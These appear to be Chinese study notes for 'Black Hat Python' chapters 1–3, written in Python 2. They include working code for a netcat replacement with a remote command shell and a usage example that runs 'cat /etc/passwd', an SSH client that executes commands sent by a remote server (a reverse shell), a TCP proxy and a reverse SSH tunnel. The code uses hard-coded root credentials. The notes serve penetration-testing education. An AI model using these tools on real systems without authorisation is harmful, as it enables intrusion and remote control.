Python黑帽子-黑客与渗透测试编程之道

Python黑帽子-黑客与渗透测试编程之道
时间:2018年4月28日

前言

本文参考了两篇资料,优化补全了代码内容

giantbranch 的 Python黑帽子–黑客与渗透测试编程之道

意闲 的 关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记

第一章 设置 python 环境

  • 安装 python 2.7.12

  • 安装 python-github3.py

    pip install gitbub.py
    
  • 安装 wingide

  • 测试代码(the first.py)

    def sum(number_one, number_two):
        number_one_int = convert_integer(number_one)
        number_two_int = convert_integer(number_two)
    
        result = number_one_int + number_two_int
        return result
    
    def convert_integer(number_string):
        converted_integer = int(number_string)
        return converted_integer
    
    answer = sum("1", "5")
    print answer
    

第二章 网络基础

1. TCP 客户端

创建一个 TCP 客户端(tcp_client.py )

# coding=utf-8

import socket

target_host = "www.baidu.com"
target_port = 80

# 建立一个 socket 对象
# AF_INET 参数说明我们将使用标准的 IPv4地址或者主机名
# SOCK_STREAM 说明这将是一个 TCP 客户端
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 连接客户端
client.connect((target_host,target_port))

# 发送一些数据
client.send("GET / HTTP/1.1\r\nHost: baidu.com\r\n\r\n")

# 接收一些数据
response = client.recv(4096)

print response

运行结果

HTTP/1.1 200 OK
Date: Tue, 24 Apr 2018 02:10:02 GMT
Content-Type: text/html
Content-Length: 14615
Last-Modified: Mon, 16 Apr 2018 08:04:00 GMT
Connection: Keep-Alive
Vary: Accept-Encoding
Set-Cookie: BAIDUID=69F55F6BD040F59900F78C766DAF19B1:FG=1; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com
Set-Cookie: BIDUPSID=69F55F6BD040F59900F78C766DAF19B1; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com
Set-Cookie: PSTM=1524535802; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com
P3P: CP=" OTI DSP COR IVA OUR IND COM "
Server: BWS/1.1
X-UA-Compatible: IE=Edge,chrome=1
Pragma: no-cache
Cache-control: no-cache
Accept-Ranges: bytes

2. UDP客户端

创建一个 UDP 客户端(udp_client.py)

# coding=utf-8
import socket

target_host = "127.0.0.1"
target_port = 80

# 建立一个 socket 对象
# AF_INET 参数说明我们将使用标准的 IPv4地址或者主机名
# SOCK_STREAM 说明这将是一个 UDP 客户端
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# 发送一些数据
client.sendto("This is test message!", (target_host, target_port))

# 接收一些数据
data, addr = client.recvfrom(4096)

print data

在 kali 本机 打开监听 80 端口

root@kali:~# nc -nvulp 80

运行客户端,发送数据

root@kali:~# python udp_client.py

运行结果

root@kali:~# nc -nvulp 80
listening on [any] 80 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 50536
This is test message!

3. TCP 服务器

创建一个 TCP 服务器端程序(tcp_server.py)

# coding=utf-8
import socket
import threading


bind_ip = "0.0.0.0"
bind_port = 9999

# 建立一个 socket 对象
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 启动监听
server.bind((bind_ip, bind_port))

# 设置最大连接数为5
server.listen(5)

print "[*] Listening on %s:%d" % (bind_ip, bind_port)

# 客户处理线程
def handle_client(client_socket):

    request = client_socket.recv(1024)

    # 打印出客户端发送得到内容
    print "[*] Received: %s" % request

    # 发送一个数据包
    client_socket.send("ACK!")
    client_socket.close()

while True:

    # 将接收到的客户端套接字对象保存到 client 变量中,将远程连接的细节保存到 addr 变量中
    client,addr = server.accept()
    print "[*] Accepted connection from: %s:%d" % (addr[0], addr[1])

    # 挂起客户端线程,处理传入的数据
    client_handler = threading.Thread(target=handle_client, args=(client,))
    client_handler.start()

运行此 TCP 服务器端程序

root@kali:~# python tcp_server.py 
[*] Listening on 0.0.0.0:9999

修改前面的 TCP 客户端程序

# coding=utf-8
import socket

target_host = "127.0.0.1"
target_port = 9999

# 建立一个 socket 对象
# AF_INET 参数说明我们将使用标准的 IPv4地址或者主机名
# SOCK_STREAM 说明这将是一个 TCP 客户端
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 连接客户端
client.connect((target_host,target_port))

# 发送一些数据
client.send("This is test message!")

# 接收一些数据
response = client.recv(4096)

print response

运行修改过的 TCP 客户端源程序

root@kali:~# python tcp_client.py 
ACK!

TCP 服务器端运行结果

root@kali:~# python server.py 
[*] Listening on 0.0.0.0:9999
[*] Accepted connection from: 127.0.0.1:40084
[*] Received: This is test message!

4. 取代 netcat

创建 netcat 的替代程序(netcat_replace.py)

#conding=utf-8
import sys
import socket
import getopt
import threading
import subprocess


# 定义一些全局变量
listen         = False
command        = False
upload         = False
execute        = ""
target         = ""
upload_destination = ""
port           = 0

def usage():
    print "Netcat Replacement"
    print
    print "Usage: bhpnet.py -t target_host -p port"
    print "-l --listen        - listen on [host]:[port] for incoming connections"
    print "-e --execute=file_to_run   - execute the given file upon receiving a connection"
    print "-c --command           - initialize a command shell"
    print "-u --upload=destination    - upon receiving connection upload a file and write to [destination]"
    print
    print
    print "Examples: "
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
    print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135"
    sys.exit(0)



def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target

    if not len(sys.argv[1:]):
        usage()

    # 读取命令行选项
    try:
                #  opts, args = getopt(args, shortopts, longopts=[])
        opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
    except getopt.GetoptError as err:
        print str(err)
        print str(err)
        usage()


    for o,a in opts:
        if o in ("-h","--help"):
            usage()
        elif o in ("-l","--listen"):
            listen = True
        elif o in ("-e", "--execute"):
            execute = a
        elif o in ("-c", "--commandshell"):
            command = True
        elif o in ("-u", "--upload"):
            upload_destination = a
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)
        else:
            assert False,"Unhandled Option"


    # 我们是进行监听还是仅从标准输入发送数据?
    if not listen and len(target) and port > 0:

        # 从命令行读取内存数据时,这里将阻塞,所以不再向标准输入发送数据时需要发送 Ctrl+D
                # 如果需要交互式的发送数据,则需要发送 ctrl+d 以避免从标准输入中读取数据。
        buffer = sys.stdin.read()

        # 发送数据
        client_sender(buffer)   

    # 我们开始监听并准备上传文件、执行命令
    # 放置一个反弹 shell
    # 取决于上面的命令行选项
    if listen:
        server_loop()


# 作为客户端
def client_sender(buffer):

    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        # 连接到目标主机
        client.connect((target,port))

        # 检测是否来自标准输入,如果不是,我们会等待用户输入一些
        if len(buffer):

            client.send(buffer)

        while True:

            # 现在等待数据回传
            recv_len = 1
            response = ""

            while recv_len:
                data     = client.recv(4096)
                recv_len = len(data)
                response+= data

                if recv_len < 4096:
                    break

            print response, 

            # 等待更多的输入
            buffer = raw_input("")
            buffer += "\n"            

            # 发送出去
            client.send(buffer)


    except:
        # 只需要捕捉一般的错误
        print "[*] Exception! Exiting."

        # 关闭连接           
        client.close()  



# 这是用于输入的连接
def server_loop():
    global target
    global port

    # 如果没有定义目标,我们监听所有的接口
    if not len(target):
        target = "0.0.0.0"

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target,port))

    server.listen(5)    
    print "正在监听 [%s:%d] 中..." % (target, port)



    while True:
        client_socket, addr = server.accept()

        # 分拆一个线程处理新的客户端
        client_thread = threading.Thread(target=client_handler,args=(client_socket,))
        client_thread.start()


# 这会运行一个命令并返回输出
def run_command(command):

    # 换行
    command = command.rstrip()

    # 运行命令并将输出返回
    try:
        output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True)
    except:
        output = "Failed to execute command.\r\n"

    # 将输出发送到客户端
    return output

# 处理传入的客户端连接(实现文件上传、命令执行和与 shell 相关的功能)
def client_handler(client_socket):
    global upload
    global execute
    global command

    # 检查上传文件
    if len(upload_destination):

        # 读取所有的字符并写下目标
        file_buffer = ""

        # 持续读取数据直到没有符合的数据
        while True:
            data = client_socket.recv(1024)

            if not data:
                break
            else:
                file_buffer += data

        # 现在我们接收这些数据并将它们写出来
        try:
            file_descriptor = open(upload_destination,"wb")
            file_descriptor.write(file_buffer)
            file_descriptor.close()

            # 确认文件已经写出来
            client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
        except:
            client_socket.send("Failed to save file to %s\r\n" % upload_destination)



    # 检查命令执行
    if len(execute):

        # 运行命令
        output = run_command(execute)

        client_socket.send(output)


    # 如果需要一个命令行 shell ,那么我们进入另一个循环
    if command:

        while True:
            # 跳出一个窗口
            client_socket.send("<BHP:#> ")

            # 现在我们接收文件直到发现换行符(enter key)
            cmd_buffer = ""
            while "\n" not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024)


            # 返还命令输出
            response = run_command(cmd_buffer)

            # 返回响应数据
            client_socket.send(response)

main()       

以服务器方式运行程序,监听 9999 端口

root@kali:~# python bhnet.py -lp 9999 -c
正在监听 [0.0.0.0:9999] 中...

打开一个新的终端,以客户端方式运行程序,连接 9999 端口

root@kali:~# python bhnet.py -t 127.0.0.1 -p 9999
[Ctrl+D]
<BHP:#>  ls

客户端程序显示结果

<BHP:#>  ls
Desktop
Documents
Downloads
Music
netcat_replace.py
Pictures
Public

打开新的终端,测试 http 请求

root@kali:~# echo -ne "GET / HTTP/1.1\r\nHost:www.baidu.com\r\n\r\n" | python bhnet.py -t www.baidu.com -p 80

http 请求测试结果

root@kali:~#  echo -ne "GET / HTTP/1.1\r\nHost:www.baidu.com\r\n\r\n" | python netcat_replace.py  -t www.baidu.com -p 80
HTTP/1.1 200 OK
Date: Tue, 24 Apr 2018 04:11:16 GMT
Content-Type: text/html
Content-Length: 14615
Last-Modified: Fri, 20 Apr 2018 02:36:00 GMT
Connection: Keep-Alive
Vary: Accept-Encoding
Set-Cookie: BAIDUID=D85F388C06DEB021CC24497BB99961C1:FG=1; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com
Set-Cookie: BIDUPSID=D85F388C06DEB021CC24497BB99961C1; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com
Set-Cookie: PSTM=1524543076; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com
P3P: CP=" OTI DSP COR IVA OUR IND COM "
Server: BWS/1.1
X-UA-Compatible: IE=Edge,chrome=1
Pragma: no-cache

5. 创建一个 TCP 代理

创建 TCP 代理程序()

# coding=utf-8
import sys
import socket
import threading

# server_loop()函数用于循环以监听并连接请求,当有新的请求到达时会提交给proxy_handler()函数处理,接收每一个比特的数据,然后发送到目标远程主机;
def server_loop(local_host, local_port, remote_host, remote_port, receive_first):

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        server.bind((local_host, local_port))
    except:
        print  "[!!] Failed to listen on %s:%d" % (local_host, local_port)
        print  "[!!] Check for other listening sockets or correct permissions."
        sys.exit(0)

    print "[*] Listening on %s:%d" % (local_host, local_port)

    server.listen(5)

    while True:
        client_socket, addr = server.accept()

        #打印出本地连接信息
        print "[==>] Received incoming connectiong from %s:%d" %  (addr[0], addr[1])
        #开启一个线程与远程主机通信
        proxy_thread = threading.Thread(target=proxy_handler, args=(client_socket, remote_host, remote_port, receive_first))
        proxy_thread.start()

def main():
    # 没有华丽的命令行解析
    if len(sys.argv[1:]) != 5:
        print "Usage: ./tcpProxy.py [localhost] [localport] [remotehost] [remoteport] [receive_first]"
        print "Example: ./tcpProxy.py 127.0.0.1 9000 10.12.132.1 9000 True"
        sys.exit(0)

    # 设置本地监听参数
    local_host = sys.argv[1]
    local_port = int(sys.argv[2])

    #设置远程目标
    remote_host = sys.argv[3]
    remote_port = int(sys.argv[4])

    #告诉代理在发送给远程主机之前连接和接受数据
    receive_first = sys.argv[5]

    if "True" in receive_first:
        receive_first = True
    else:
        receive_first = False

    #现在设置好我们的监听socket
    server_loop(local_host, local_port, remote_host, remote_port, receive_first)

# proxy_handler()函数包含了代理的主要逻辑,先检查并确保在启动主循环之前不向建立连接的远程主机主动发送数据,启动循环之后接收本地和远程主机的数据然后再调用相应的函数进行处理之后再转发出去
def proxy_handler(client_socket, remote_host, remote_port, receive_first):

    # 连接远程主机
    remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    remote_socket.connect((remote_host, remote_port))

    # 如果必要从远程主机接收数据
    if receive_first:

        remote_buffer = receive_from(remote_socket)
        hexdump(remote_buffer)

        # 发送给我们的响应处理
        remote_buffer = response_handler(remote_buffer)

        # 如果我们有数据传递给本地客户端,发送它
        if len(remote_buffer):
            print "[<==] Sending %d bytes to localhost." % len(remote_buffer)
            client_socket.send(remote_buffer)

    # 现在我们从本地循环读取数据,发送给远程主机和本地主机
    while True:

        # 从本地读取数据
        local_buffer = receive_from(client_socket)

        if len(local_buffer):
            print  "[==>] Received %d bytes from localhost" % len(local_buffer)
            hexdump(local_buffer)

            # 发送给我们的本地请求
            local_buffer = request_handler(local_buffer)

            # 向远程主机发送数据
            remote_socket.send(local_buffer)
            print  "[==>] Sent to remote."

        # 接受响应的数据
        remote_buffer = receive_from(remote_socket)

        if len(remote_buffer):

            print "[<==] Received %d bytes from remote." % len(remote_buffer)
            hexdump(remote_buffer)

            #发送到响应处理函数
            remote_buffer = response_handler(remote_buffer)

            #将响应发送给本地socket
            client_socket.send(remote_buffer)

            print "[<==] Sent to localhost."

        #如果两边都没有数据,关闭连接
        if not len(local_buffer) or not len(remote_buffer):
            client_socket.close()
            remote_socket.close()
            print "[*] No more data. Closing connections."

            break

# 十六进制到处函数,它仅输出数据包的十六进制和可打印的 ASCII 码字符,这对于了解未知协议非常有用,还能找到明文协议的认证信息
def hexdump(src, length=16):
    result = []
    digits = 4 if isinstance(src, unicode) else 2

    for i in xrange(0, len(src), length):
        s = src[i:i+length]
        hexa = b' '.join(["%0*X" % (digits, ord(x)) for x in s])
        text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])
        result.append(b"%04X    %-*s    %s" % (i, length*(digits+1), hexa, text))

    print  b'\n'.join(result)

# receive_from()函数用于接收本地和远程主机的数据,使用socket对象作为参数
def receive_from(connection):
    buffer = ""

    #我们设置了两秒的超时,这取决与目标的情况, 可能需要调整
    connection.settimeout(2)

    try:
        # 持续从缓存中读取数据直到没有数据或者超时
        while True:
            data = connection.recv(4096)
            if not data:
                break
            buffer += data
    except:
        pass #pass是空语句,是为了保持程序结构的完整性,防止报错

    return  buffer

# 对目标是远程主机的请求进行修改(可对数据包进行修改。重放)
def request_handler(buffer):
    # 执行数据包修改
    return buffer

# 对目标是本地主机的响应进行修改(可对数据包进行修改。重放)
def response_handler(buffer):
    # 执行数据包修改
    return buffer

main() 

测试代理功能(类似于设置 burpsuite 代理)

root@kali:~# python tcp_proxy.py 127.0.0.1 8080 www.baidu.com 80 True
[*] Listening on 127.0.0.1:8080

在浏览器设置代理 8080 端口

火狐使用 autoproxy 插件,设置代理端口 8080,访问百度网页

测试结果

root@kali:~# python tcp_proxy.py 127.0.0.1 8080 www.baidu.com 80 True
[*] Listening on 127.0.0.1:8080
[==>] Received incoming connectiong from 127.0.0.1:41162
[==>] Received incoming connectiong from 127.0.0.1:41166

[==>] Received 199 bytes from localhost
0000    43 4F 4E 4E 45 43 54 20 77 77 77 2E 62 61 69 64     CONNECT www.baid
0010    75 2E 63 6F 6D 3A 34 34 33 20 48 54 54 50 2F 31     u.com:443 HTTP/1
0020    2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20     .1..User-Agent: 
0030    4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 58 31 31     Mozilla/5.0 (X11
0040    3B 20 4C 69 6E 75 78 20 78 38 36 5F 36 34 3B 20     ; Linux x86_64; 
0050    72 76 3A 35 32 2E 30 29 20 47 65 63 6B 6F 2F 32     rv:52.0) Gecko/2
0060    30 31 30 30 31 30 31 20 46 69 72 65 66 6F 78 2F     0100101 Firefox/
0070    35 32 2E 30 0D 0A 50 72 6F 78 79 2D 43 6F 6E 6E     52.0..Proxy-Conn
0080    65 63 74 69 6F 6E 3A 20 6B 65 65 70 2D 61 6C 69     ection: keep-ali
0090    76 65 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20     ve..Connection: 
00A0    6B 65 65 70 2D 61 6C 69 76 65 0D 0A 48 6F 73 74     keep-alive..Host
00B0    3A 20 77 77 77 2E 62 61 69 64 75 2E 63 6F 6D 3A     : www.baidu.com:
00C0    34 34 33 0D 0A 0D 0A                                443....
[==>] Sent to remote.
[*] No more data. Closing connections.
[==>] Received incoming connectiong from 127.0.0.1:41170

[==>] Received 199 bytes from localhost

6. 通过 paramiko 使用 SSH

Python黑帽子——通过Paramiko使用SSH https://blog.csdn.net/u010726042/article/details/73565068

安装 paramiko

pip install paramiko

paramiko 示例文件

https://github.com/paramiko/paramiko/tree/master/demos

建立ssh通道(ssh_command.py)

#coding=utf-8
import threading
import paramiko
import subprocess
# paramiko 支持用密钥认证来代理密码验证,推荐密钥认证

def ssh_command(ip, user, passwd, command):
    client = paramiko.SSHClient()

    #支持用密钥认证代替密码验证,实际环境推荐使用密钥认证
    #client.load_host_key('/root/.ssh/known_hosts')

    #设置自动添加和保存目标ssh服务器的ssh密钥
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    # 连接
    client.connect(ip, username=user, password=passwd)

    #打开会话
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        #执行命令
        ssh_session.exec_command(command)
        #返回命令执行结果(1024个字符)
        print ssh_session.recv(1024)

    return

#调用函数,以用户root及其密码连接并执行命令
ssh_command('127.0.0.1', 'root', 'toor', 'id')

执行程序结果

root@kali:~# python ssh_command.py 
uid=0(root) gid=0(root) 组=0(root)

建立可以持续发送命令的ssh客户端和ssh服务器

使用 paramiko 示例文件中包含的 SSH 密钥,开启一个套接字监听,之后使用 SSH 管道,并配置认证模式。当一个客户端认证成功,并发回 ClientConnected 消息,我们输入到 ssh_server 的任何命令将发送给 ssh_client 并在 ssh_client 上执行,输出的结果将返回给 ssh_server。

paramiko 示例文件: https://github.com/paramiko/paramiko/tree/master/demos

获取密钥文件

使用 ssh-keygen -t rsa 命令创建密钥文件 /root/.ssh/id_rsa,创建空密钥即可。

或者 paramiko 的示例文件

直接使用 test_rsa.key

创建ssh 客户端程序(ssh_client.py)

#coding=utf-8
import threading
import paramiko
import subprocess

def ssh_command(ip, user, passwd, command, port):
    client = paramiko.SSHClient()
    #支持用密钥认证代替密码验证,实际环境推荐使用密钥认证
    # client.load_host_keys('/home/root/.ssh/known_hosts') 
    #设置自动添加和保存目标ssh服务器的ssh密钥
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
    #连接
    client.connect(ip, port, username=user, password=passwd)  
    #打开会话
    ssh_session = client.get_transport().open_session() 
    if ssh_session.active:
        #发送command这个字符串,并不是执行命令
        ssh_session.send(command)   
        #返回命令执行结果(1024个字符)
        print ssh_session.recv(1024)    
        while True:
            #从ssh服务器获取命令
            command = ssh_session.recv(1024)    
            try:
                cmd_output = subprocess.check_output(command, shell=True)
                ssh_session.send(cmd_output)
            except Exception, e:
                ssh_session.send(str(e))
        client.close()
    return

ssh_command('127.0.0.1', 'root', 'toor', 'This is test message!!!!!',8088)

创建 ssh 服务器端程序(ssh_server.py)

#coding=utf-8
import socket
import paramiko
import threading
import sys

if len(sys.argv[1:]) != 2:
    print "Usage: ./ssh_server.py [localhost] [localport] "
    print "Example: ./ssh_server.py 127.0.0.1 8080"
    sys.exit(0) 

# 使用 Paramiko示例文件的密钥
#host_key = paramiko.RSAKey(filename='test_rsa.key')
# 或者自己创建一个密钥文件
host_key = paramiko.RSAKey(filename='/root/.ssh/id_rsa')

class Server(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()
    def check_channel_request(self, kind, chanid):
        if kind == 'session':
             return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
    def check_auth_password(self, username, password):
        if (username == 'root') and (password == 'toor'):
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED

server = sys.argv[1]
ssh_port = int(sys.argv[2])
try:
    #TCP socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    
    #这里value设置为1,表示将SO_REUSEADDR标记为TRUE,操作系统会在服务器socket被关闭或服务器进程终止后马上释放该服务器的端口,否则操作系统会保留几分钟该端口。
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    #绑定ip和端口
    sock.bind((server, ssh_port))   
    #最大连接数为100
    sock.listen(100)    
    print '[+] Listening for connection ...'
    client, addr = sock.accept()
except Exception, e:
    print '[-] Listen failed: ' + str(e)
    sys.exit(1)
print '[+] Got a connection!'

try:
    bhSession = paramiko.Transport(client)
    bhSession.add_server_key(host_key)
    server = Server()
    try:
        bhSession.start_server(server=server)
    except paramiko.SSHException, x:
        print '[-] SSH negotiation failed'
    #设置超时值为20
    chan = bhSession.accept(20) 
    print '[+] Authenticated!'
    print chan.recv(1024)
    chan.send("Welcome to bh_ssh")
    while True:
        try:
            #strip移除字符串头尾指定的字符(默认为空格),这里是换行
            command = raw_input("Enter command:").strip("\n")   
            if command != 'exit':
                chan.send(command)
                print chan.recv(1024) + '\n'
            else:
                chan.send('exit')
                print 'exiting'
                bhSession.close()
                raise Exception('exit')
        except KeyboardInterrupt:
            bhSession.close()
except Exception, e:
    print '[-] Caught exception: ' + str(e)
    try:
        bhSession.close()
    except:
        pass
    sys.exit(1)

运行 ssh 服务器端程序

root@kali:~# python ssh_server.py 127.0.0.1 8088
[+] Listening for connection ...

运行 ssh 客户端程序

root@kali:~# python ssh_client.py 
Welcome to bh_ssh

查看 ssh 服务器端结果

root@kali:~# python ssh_server.py 127.0.0.1 8088
[+] Listening for connection ...
[+] Got a connection!
[+] Authenticated!
This is test message!!!!!
Enter command:ls
Desktop
Documents
Downloads
Music
Pictures

7. SSH 隧道

关于 SSH 隧道的技术详解

http://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html

paramiko 示例2文件

paramiko 示例文件: https://github.com/paramiko/paramiko/tree/master/demos

* SSH 隧道目标*

我们希望在 SSH 客户端输入命令,然后在远程的 SSH 服务器上运行。当使用 SSH 隧道时,与传统的将命令直接发送给服务器端不同,网络流量包在 SSH 中封装后发送,并且在到达 SSH 服务器之后解开并执行。

假设一个环境:你可以访问一台在内网的 SSH 服务器,同事还想访问在同一个网段的 WEB服务器。你不能直接访问 WEB 服务器,但是 ssh 服务器可以访问 web 服务器,而且这个 ssh 服务器上没有安装可以使用的工具。

解决这个问题的方法之一是创建一个转发的 SSH 隧道。

使用 ssh -L 8008:web:80 root@sshserver 命令将以 root 用户的身份连接到 ssh 服务器,同时将在本地系统上监听 8008 端口建立转发。任何发送到本机 8008 端口上的数据都被通过已有的 SSH 隧道转发到 web 服务器上。

创建一个程序(rforward.py)

#!/usr/bin/env python
#coding=utf-8
import getpass
import os
import socket
import select
import sys
import threading
from optparse import OptionParser

import paramiko

SSH_PORT = 22
DEFAULT_PORT = 4000

g_verbose = True


def handler(chan, host, port):
    sock = socket.socket()
    try:
        sock.connect((host, port))
    except Exception as e:
        verbose('Forwarding request to %s:%d failed: %r' % (host, port, e))
        return

    verbose('Connected!  Tunnel open %r -> %r -> %r' % (chan.origin_addr,
                                                        chan.getpeername(), (host, port)))
    while True:
        r, w, x = select.select([sock, chan], [], [])
        if sock in r:
            data = sock.recv(1024)
            if len(data) == 0:
                break
            chan.send(data)
        if chan in r:
            data = chan.recv(1024)
            if len(data) == 0:
                break
            sock.send(data)
    chan.close()
    sock.close()
    verbose('Tunnel closed from %r' % (chan.origin_addr,))


def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):
    # 用 paramiko 的 request_port_forward 函数将 ssh 服务端一个端口的 tcp 连接转发出去
    transport.request_port_forward('', server_port)
    while True:
        # 同时建立一个系的传输通道
        chan = transport.accept(1000)
        if chan is None:
            continue
        # 在通道里,我们调用 handler 函数进行处理
        thr = threading.Thread(target=handler, args=(chan, remote_host, remote_port))
        thr.setDaemon(True)
        thr.start()


def verbose(s):
    if g_verbose:
        print(s)


HELP = """\
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
port on the SSH server (given with -p) is forwarded across an SSH session
back to the local machine, and out to a remote site reachable from this
network. This is similar to the openssh -R option.
"""


def get_host_port(spec, default_port):
    "parse 'hostname:22' into a host and port, with the port optional"
    args = (spec.split(':', 1) + [default_port])[:2]
    args[1] = int(args[1])
    return args[0], args[1]


def parse_options():
    global g_verbose

    parser = OptionParser(usage='usage: %prog [options] <ssh-server>[:<server-port>]',
                          version='%prog 1.0', description=HELP)
    parser.add_option('-q', '--quiet', action='store_false', dest='verbose', default=True,
                      help='squelch all informational output')
    parser.add_option('-p', '--remote-port', action='store', type='int', dest='port',
                      default=DEFAULT_PORT,
                      help='port on server to forward (default: %d)' % DEFAULT_PORT)
    parser.add_option('-u', '--user', action='store', type='string', dest='user',
                      default=getpass.getuser(),
                      help='username for SSH authentication (default: %s)' % getpass.getuser())
    parser.add_option('-K', '--key', action='store', type='string', dest='keyfile',
                      default=None,
                      help='private key file to use for SSH authentication')
    parser.add_option('', '--no-key', action='store_false', dest='look_for_keys', default=True,
                      help='don\'t look for or use a private key file')
    parser.add_option('-P', '--password', action='store_true', dest='readpass', default=False,
                      help='read password (for key or password auth) from stdin')
    parser.add_option('-r', '--remote', action='store', type='string', dest='remote', default=None, metavar='host:port',
                      help='remote host and port to forward to')
    options, args = parser.parse_args()

    if len(args) != 1:
        parser.error('Incorrect number of arguments.')
    if options.remote is None:
        parser.error('Remote address required (-r).')

    g_verbose = options.verbose
    server_host, server_port = get_host_port(args[0], SSH_PORT)
    remote_host, remote_port = get_host_port(options.remote, SSH_PORT)
    return options, (server_host, server_port), (remote_host, remote_port)


def main():
    options, server, remote = parse_options()

    password = None
    if options.readpass:
        password = getpass.getpass('Enter SSH password: ')

    client = paramiko.SSHClient()
    client.load_system_host_keys()
    client.set_missing_host_key_policy(paramiko.WarningPolicy())

    verbose('Connecting to ssh host %s:%d ...' % (server[0], server[1]))
    try:
        client.connect(server[0], server[1], username=options.user, key_filename=options.keyfile,
                       look_for_keys=options.look_for_keys, password=password)
    except Exception as e:
        print('*** Failed to connect to %s:%d: %r' % (server[0], server[1], e))
        sys.exit(1)

    verbose('Now forwarding remote port %d to %s:%d ...' % (options.port, remote[0], remote[1]))

    try:
        reverse_forward_tunnel(options.port, remote[0], remote[1], client.get_transport())
    except KeyboardInterrupt:
        print('C-c: Port forwarding stopped.')
        sys.exit(0)


if __name__ == '__main__':
    main()

运行程序

root@kali:~# ./rforward.py -h
Usage: rforward.py [options] <ssh-server>[:<server-port>]

root@kali:~# ./rforward.py 127.0.0.1 -p 8080 -r 10.10.10.129:80 --user root --password
Enter SSH password: 
Connecting to ssh host 127.0.0.1:22 ...
Now forwarding remote port 8080 to 10.10.10.129:80 ...

查看监听端口

root@kali:~# netstat -tulnp | grep 8080
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      4708/sshd: root

使用代理访问目标站点

浏览器使用 autoproxy 设置代理 8080 端口,访问 10.10.10.129:80

查看运行结果

root@kali:~# ./rforward.py 127.0.0.1 -p 8080 -r 10.10.10.129:80 --user root --password
Enter SSH password: 
Connecting to ssh host 127.0.0.1:22 ...
Now forwarding remote port 8080 to 10.10.10.129:80 ...
Connected!  Tunnel open (u'127.0.0.1', 41518) -> ('127.0.0.1', 22) -> ('10.10.10.129', 80)
Tunnel closed from (u'127.0.0.1', 41518)
Connected!  Tunnel open (u'127.0.0.1', 41522) -> ('127.0.0.1', 22) -> ('10.10.10.129', 80)
Tunnel closed from (u'127.0.0.1', 41522)
Connected!  Tunnel open (u'127.0.0.1', 41526) -> ('127.0.0.1', 22) -> ('10.10.10.129', 80)
Connected!  Tunnel open (u'127.0.0.1', 41528) -> ('127.0.0.1', 22) -> ('10.10.10.129', 80)
Tunnel closed from (u'127.0.0.1', 41526)
Connected!  Tunnel open (u'127.0.0.1', 41534) -> ('127.0.0.1', 22) -> ('10.10.10.129', 80)
Connected!  Tunnel open (u'127.0.0.1', 41538) -> ('127.0.0.1', 22) -> ('10.10.10.129', 80)
Tunnel closed from (u'127.0.0.1', 41538)
Connected!  Tunnel open (u'127.0.0.1', 41542) -> ('127.0.0.1', 22) -> ('10.10.10.129', 80)

第三章 网络:原始套接字和流量嗅探

1. 开发 UDP 主机发现工具

开发思路

绝大部分操作系统在处理 UDP 闭合端口时,存在一种共性行为, 我们可以通过这种行为来确定某个IP 地址上是否有主机存活。

当你发送一个 UDP 数据包到主机的某个关闭的 UDP 端口上时,目标主机通常会返回一个 ICMP 包指示目标端口不可达。 这样的 ICMP 信息意味着目标主机是存活的,因为我们可以假设如果没有接收到发送的 UDP 数据的任何响应,目标主机应该不存在。挑选一个不太可能被使用的 UDP 端口来确保这种方式的有效性是必要的,为了达到最大范围的覆盖度,我们可以查探多个端口以避免正好将数据发送到活动的 UDP 服务上。

为什么使用 UDP 呢?因为用 UDP 对整个子网发送信息,然后等待相应的 ICMP 响应返回, 这个过程不需要什么开销。 比起解码和分析各种不同的网络协议头, 这个扫描器是非常简单的了。 我们的主机扫描器将兼容 Windows 和Linux 系统,以便最大化其适用于企业内部环境的可能性。

2. windows 和 linux 上的包嗅探

